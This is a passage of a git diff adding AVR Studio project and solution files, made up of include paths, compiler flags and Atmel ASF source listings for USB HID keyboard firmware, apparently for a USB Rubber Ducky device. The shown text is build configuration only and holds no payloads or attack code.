<Value>../src/asf/avr32/drivers/usart</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat/fat_example</Value>
|
||||
<Value>../src/asf/avr32/utils</Value>
|
||||
<Value>../src/asf/avr32/utils/debug</Value>
|
||||
<Value>../src/asf/avr32/utils/preprocessor</Value>
|
||||
<Value>../src/asf/common/boards</Value>
|
||||
<Value>../src/asf/common/services/storage/ctrl_access</Value>
|
||||
<Value>../src/asf/common/utils</Value>
|
||||
<Value>../src/config</Value>
|
||||
<Value>../src/asf/avr32/drivers/usbb</Value>
|
||||
<Value>../src/asf/common/services/sleepmgr</Value>
|
||||
<Value>../src/asf/common/services/clock</Value>
|
||||
<Value>../src/asf/common/services/usb</Value>
|
||||
<Value>../src/asf/common/services/usb/udc</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device/kbd</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device</Value>
|
||||
<Value>../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.compiler.directories.IncludePaths>
|
||||
<avr32gcc.compiler.optimization.level>Optimize (-O1)</avr32gcc.compiler.optimization.level>
|
||||
<avr32gcc.compiler.optimization.OtherFlags>-fdata-sections</avr32gcc.compiler.optimization.OtherFlags>
|
||||
<avr32gcc.compiler.optimization.PrepareFunctionsForGarbageCollection>True</avr32gcc.compiler.optimization.PrepareFunctionsForGarbageCollection>
|
||||
<avr32gcc.compiler.optimization.DebugLevel>Maximum (-g3)</avr32gcc.compiler.optimization.DebugLevel>
|
||||
<avr32gcc.compiler.warnings.AllWarnings>True</avr32gcc.compiler.warnings.AllWarnings>
|
||||
<avr32gcc.compiler.miscellaneous.OtherFlags>-std=gnu99 -Wstrict-prototypes -Wmissing-prototypes -Werror-implicit-function-declaration -Wpointer-arith -mrelax</avr32gcc.compiler.miscellaneous.OtherFlags>
|
||||
<avr32gcc.linker.general.DoNotUseStandardStartFiles>True</avr32gcc.linker.general.DoNotUseStandardStartFiles>
|
||||
<avr32gcc.linker.optimization.GarbageCollectUnusedSections>True</avr32gcc.linker.optimization.GarbageCollectUnusedSections>
|
||||
<avr32gcc.linker.miscellaneous.LinkerFlags>-T../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds -Wl,--relax</avr32gcc.linker.miscellaneous.LinkerFlags>
|
||||
<avr32gcc.assembler.general.AssemblerFlags>-mrelax</avr32gcc.assembler.general.AssemblerFlags>
|
||||
<avr32gcc.assembler.general.IncludePaths>
|
||||
<ListValues>
|
||||
<Value>../src</Value>
|
||||
<Value>../src/asf/avr32/boards</Value>
|
||||
<Value>../src/asf/avr32/boards/evk1101</Value>
|
||||
<Value>../src/asf/avr32/drivers/flashc</Value>
|
||||
<Value>../src/asf/avr32/drivers/gpio</Value>
|
||||
<Value>../src/asf/avr32/drivers/intc</Value>
|
||||
<Value>../src/asf/avr32/drivers/pm</Value>
|
||||
<Value>../src/asf/avr32/drivers/spi</Value>
|
||||
<Value>../src/asf/avr32/drivers/usart</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat/fat_example</Value>
|
||||
<Value>../src/asf/avr32/utils</Value>
|
||||
<Value>../src/asf/avr32/utils/debug</Value>
|
||||
<Value>../src/asf/avr32/utils/preprocessor</Value>
|
||||
<Value>../src/asf/common/boards</Value>
|
||||
<Value>../src/asf/common/services/storage/ctrl_access</Value>
|
||||
<Value>../src/asf/common/utils</Value>
|
||||
<Value>../src/config</Value>
|
||||
<Value>../src/asf/avr32/drivers/usbb</Value>
|
||||
<Value>../src/asf/common/services/sleepmgr</Value>
|
||||
<Value>../src/asf/common/services/clock</Value>
|
||||
<Value>../src/asf/common/services/usb</Value>
|
||||
<Value>../src/asf/common/services/usb/udc</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device/kbd</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.assembler.general.IncludePaths>
|
||||
<avr32gcc.preprocessingassembler.general.AssemblerFlags>-mrelax</avr32gcc.preprocessingassembler.general.AssemblerFlags>
|
||||
<avr32gcc.preprocessingassembler.general.IncludePaths>
|
||||
<ListValues>
|
||||
<Value>../src</Value>
|
||||
<Value>../src/asf/avr32/boards</Value>
|
||||
<Value>../src/asf/avr32/boards/evk1101</Value>
|
||||
<Value>../src/asf/avr32/drivers/flashc</Value>
|
||||
<Value>../src/asf/avr32/drivers/gpio</Value>
|
||||
<Value>../src/asf/avr32/drivers/intc</Value>
|
||||
<Value>../src/asf/avr32/drivers/pm</Value>
|
||||
<Value>../src/asf/avr32/drivers/spi</Value>
|
||||
<Value>../src/asf/avr32/drivers/usart</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat</Value>
|
||||
<Value>../src/asf/avr32/services/fs/fat/fat_example</Value>
|
||||
<Value>../src/asf/avr32/utils</Value>
|
||||
<Value>../src/asf/avr32/utils/debug</Value>
|
||||
<Value>../src/asf/avr32/utils/preprocessor</Value>
|
||||
<Value>../src/asf/common/boards</Value>
|
||||
<Value>../src/asf/common/services/storage/ctrl_access</Value>
|
||||
<Value>../src/asf/common/utils</Value>
|
||||
<Value>../src/config</Value>
|
||||
<Value>../src/asf/avr32/drivers/usbb</Value>
|
||||
<Value>../src/asf/common/services/sleepmgr</Value>
|
||||
<Value>../src/asf/common/services/clock</Value>
|
||||
<Value>../src/asf/common/services/usb</Value>
|
||||
<Value>../src/asf/common/services/usb/udc</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device/kbd</Value>
|
||||
<Value>../src/asf/common/services/usb/class/hid/device</Value>
|
||||
</ListValues>
|
||||
</avr32gcc.preprocessingassembler.general.IncludePaths>
|
||||
</Avr32Gcc>
|
||||
</ToolchainSettings>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="src\asf.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\boards\evk1101\evk1101.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\boards\evk1101\init.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\boards\evk1101\led.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\boards\evk1101\led.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\components\memory\sd_mmc\sd_mmc_spi\sd_mmc_spi.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\components\memory\sd_mmc\sd_mmc_spi\sd_mmc_spi.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\components\memory\sd_mmc\sd_mmc_spi\sd_mmc_spi_mem.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\components\memory\sd_mmc\sd_mmc_spi\sd_mmc_spi_mem.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\flashc\flashc.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\flashc\flashc.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\gpio\gpio.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\gpio\gpio.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\intc\exception.S">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\intc\intc.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\intc\intc.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\pm\pm.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\pm\pm.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\pm\pm_conf_clocks.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\pm\power_clocks_lib.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\pm\power_clocks_lib.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\pm\sleep.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\spi\spi.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\spi\spi.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\usart\usart.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\usart\usart.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\usbb\usbb_device.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\usbb\usbb_device.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\drivers\usbb\usbb_otg.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\fat.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\fat.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\fat_unusual.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\file.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\file.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\fs_com.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\navigation.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\navigation.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\compiler.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\debug\print_funcs.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\debug\print_funcs.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\linker_scripts\at32uc3b\0256\gcc\link_uc3b0256.lds">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\parts.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\preprocessor\mrepeat.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\preprocessor\preprocessor.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\preprocessor\stringz.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\preprocessor\tpaste.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\startup\startup_uc3.S">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\startup\trampoline_uc3.S">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\startup\trampoline_uc3.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\status_codes.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\boards\board.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\genclk.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\osc.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\pll.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\sysclk.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\uc3b0_b1\genclk.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\uc3b0_b1\osc.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\uc3b0_b1\pll.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\uc3b0_b1\sysclk.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\uc3b0_b1\sysclk.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\sleepmgr\sleepmgr.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\sleepmgr\uc3\sleepmgr.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\sleepmgr\uc3\sleepmgr.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\storage\ctrl_access\ctrl_access.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\storage\ctrl_access\ctrl_access.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\device\kbd\udi_hid_kbd.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\device\kbd\udi_hid_kbd.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\device\kbd\udi_hid_kbd_conf.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\device\kbd\udi_hid_kbd_desc.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\device\udi_hid.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\device\udi_hid.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\usb_protocol_hid.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\udc\udc.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\udc\udc.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\udc\udc_desc.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\udc\udd.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\udc\udi.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\usb_atmel.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\usb_protocol.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\utils\interrupt.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\utils\interrupt\interrupt_avr32.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_access.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_board.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_clock.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_explorer.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_sd_mmc_spi.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_sleepmgr.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_usb.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\main.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\main.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Folder Include="src\" />
|
||||
<Folder Include="src\asf\" />
|
||||
<Folder Include="src\asf\avr32\" />
|
||||
<Folder Include="src\asf\avr32\boards\" />
|
||||
<Folder Include="src\asf\avr32\boards\evk1101\" />
|
||||
<Folder Include="src\asf\avr32\components\" />
|
||||
<Folder Include="src\asf\avr32\components\memory\" />
|
||||
<Folder Include="src\asf\avr32\components\memory\sd_mmc\" />
|
||||
<Folder Include="src\asf\avr32\components\memory\sd_mmc\sd_mmc_spi\" />
|
||||
<Folder Include="src\asf\avr32\drivers\" />
|
||||
<Folder Include="src\asf\avr32\drivers\flashc\" />
|
||||
<Folder Include="src\asf\avr32\drivers\gpio\" />
|
||||
<Folder Include="src\asf\avr32\drivers\intc\" />
|
||||
<Folder Include="src\asf\avr32\drivers\pm\" />
|
||||
<Folder Include="src\asf\avr32\drivers\spi\" />
|
||||
<Folder Include="src\asf\avr32\drivers\usart\" />
|
||||
<Folder Include="src\asf\avr32\drivers\usbb\" />
|
||||
<Folder Include="src\asf\avr32\services\" />
|
||||
<Folder Include="src\asf\avr32\services\fs\" />
|
||||
<Folder Include="src\asf\avr32\services\fs\fat\" />
|
||||
<Folder Include="src\asf\avr32\utils\" />
|
||||
<Folder Include="src\asf\avr32\utils\debug\" />
|
||||
<Folder Include="src\asf\avr32\utils\linker_scripts\" />
|
||||
<Folder Include="src\asf\avr32\utils\linker_scripts\at32uc3b\" />
|
||||
<Folder Include="src\asf\avr32\utils\linker_scripts\at32uc3b\0256\" />
|
||||
<Folder Include="src\asf\avr32\utils\linker_scripts\at32uc3b\0256\gcc\" />
|
||||
<Folder Include="src\asf\avr32\utils\preprocessor\" />
|
||||
<Folder Include="src\asf\avr32\utils\startup\" />
|
||||
<Folder Include="src\asf\common\" />
|
||||
<Folder Include="src\asf\common\boards\" />
|
||||
<Folder Include="src\asf\common\services\" />
|
||||
<Folder Include="src\asf\common\services\clock\" />
|
||||
<Folder Include="src\asf\common\services\clock\uc3b0_b1\" />
|
||||
<Folder Include="src\asf\common\services\sleepmgr\" />
|
||||
<Folder Include="src\asf\common\services\sleepmgr\uc3\" />
|
||||
<Folder Include="src\asf\common\services\storage\" />
|
||||
<Folder Include="src\asf\common\services\storage\ctrl_access\" />
|
||||
<Folder Include="src\asf\common\services\usb\" />
|
||||
<Folder Include="src\asf\common\services\usb\class\" />
|
||||
<Folder Include="src\asf\common\services\usb\class\hid\" />
|
||||
<Folder Include="src\asf\common\services\usb\class\hid\device\" />
|
||||
<Folder Include="src\asf\common\services\usb\class\hid\device\kbd\" />
|
||||
<Folder Include="src\asf\common\services\usb\udc\" />
|
||||
<Folder Include="src\asf\common\utils\" />
|
||||
<Folder Include="src\asf\common\utils\interrupt\" />
|
||||
<Folder Include="src\config\" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(AVRSTUDIO_EXE_PATH)\\Vs\\AvrGCC32.targets" />
|
||||
</Project>
|
20
Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsln
Executable file
20
Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsln
Executable file
|
@ -0,0 +1,20 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# AvrStudio Solution File, Format Version 11.00
|
||||
Project("{D1100916-62DA-4D80-A9B4-55A1E7CCEEB3}") = "duck", "duck.avrgccproj", "{FEE31E0F-40F4-11E0-93CF-000C29A22D21}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|AVR = Debug|AVR
|
||||
Release|AVR = Release|AVR
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.ActiveCfg = Debug|AVR
|
||||
{FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Debug|AVR.Build.0 = Debug|AVR
|
||||
{FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.ActiveCfg = Release|AVR
|
||||
{FEE31E0F-40F4-11E0-93CF-000C29A22D21}.Release|AVR.Build.0 = Release|AVR
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
BIN
Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsuo
Executable file
BIN
Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.avrsuo
Executable file
Binary file not shown.
649
Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.cproj
Executable file
649
Rubber_Duck/HAK/Firmware/Source/Duck_HID/duck.cproj
Executable file
|
@ -0,0 +1,649 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" DefaultTargets="Build">
|
||||
<PropertyGroup>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectVersion>5.1</ProjectVersion>
|
||||
<ProjectGuid>fee31e0f-40f4-11e0-93cf-000c29a22d21</ProjectGuid>
|
||||
<avrdevice>AT32UC3B0256</avrdevice>
|
||||
<avrdeviceseries>uc3b</avrdeviceseries>
|
||||
<OutputDirectory>$(MSBuildProjectDirectory)\$(Configuration)</OutputDirectory>
|
||||
<AvrGccProjectExtensions />
|
||||
<AssemblyName>$(MSBuildProjectName)</AssemblyName>
|
||||
<Name>$(MSBuildProjectName)</Name>
|
||||
<RootNamespace>$(MSBuildProjectName)</RootNamespace>
|
||||
<OutputType>Executable</OutputType>
|
||||
<Language>C</Language>
|
||||
<ToolchainName>com.Atmel.AVRGCC32</ToolchainName>
|
||||
<ToolchainFlavour>Native</ToolchainFlavour>
|
||||
<avrtool />
|
||||
<AsfFrameworkConfig>
|
||||
<framework-data>
|
||||
<options>
|
||||
<option id="avr32.drivers.gpio" value="Add" config="" content-id="Atmel.ASF" />
|
||||
<option id="avr32.drivers.pm" value="Add" config="" content-id="Atmel.ASF" />
|
||||
<option id="avr32.drivers.spi" value="Add" config="" content-id="Atmel.ASF" />
|
||||
<option id="avr32.services.fs.fat" value="Add" config="" content-id="Atmel.ASF" />
|
||||
<option id="common.boards" value="Add" config="" content-id="Atmel.ASF" />
|
||||
<option id="common.services.storage.ctrl_access" value="Add" config="" content-id="Atmel.ASF" />
|
||||
<option id="common.services.usb.class.hid.device.keyboard.single" value="Add" config="" content-id="Atmel.ASF" />
|
||||
</options>
|
||||
<files>
|
||||
<file path="src/asf/common/utils/interrupt.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="common/utils/interrupt.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/services/fs/fat/file.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/file.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/services/fs/fat/fs_com.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fs_com.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/config/conf_explorer.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fat_example/conf_explorer.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/services/fs/fat/fat_unusual.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fat_unusual.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/services/fs/fat/file.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/file.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/boards/evk1101/led.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/boards/evk1101/led.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/pm/pm_conf_clocks.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/pm/pm_conf_clocks.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/services/fs/fat/navigation.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/navigation.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/intc/exception.S" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/intc/exception.S" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/services/fs/fat/navigation.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/navigation.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/services/fs/fat/fat.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fat.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/boards/evk1101/led.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/boards/evk1101/led.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/services/fs/fat/fat.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/services/fs/fat/fat.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/spi/spi.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/spi/spi.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/utils/preprocessor/stringz.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/preprocessor/stringz.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/utils/status_codes.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/utils/status_codes.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/intc/intc.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/intc/intc.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/intc/intc.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/intc/intc.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/boards/board.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="common/boards/board.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/pm/power_clocks_lib.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/pm/power_clocks_lib.h" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/flashc/flashc.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/flashc/flashc.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/drivers/pm/power_clocks_lib.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/drivers/pm/power_clocks_lib.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/common/services/storage/ctrl_access/ctrl_access.c" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="common/services/storage/ctrl_access/ctrl_access.c" changed="False" content-id="Atmel.ASF" />
|
||||
<file path="src/asf/avr32/boards/evk1101/evk1101.h" framework="com.atmel.avr32.sf.uc3b" version="2.3.0-15278.151" source="avr32/boards/evk1101/evk1101.h" changed="False" content-id="Atmel.ASF" />
|
||||
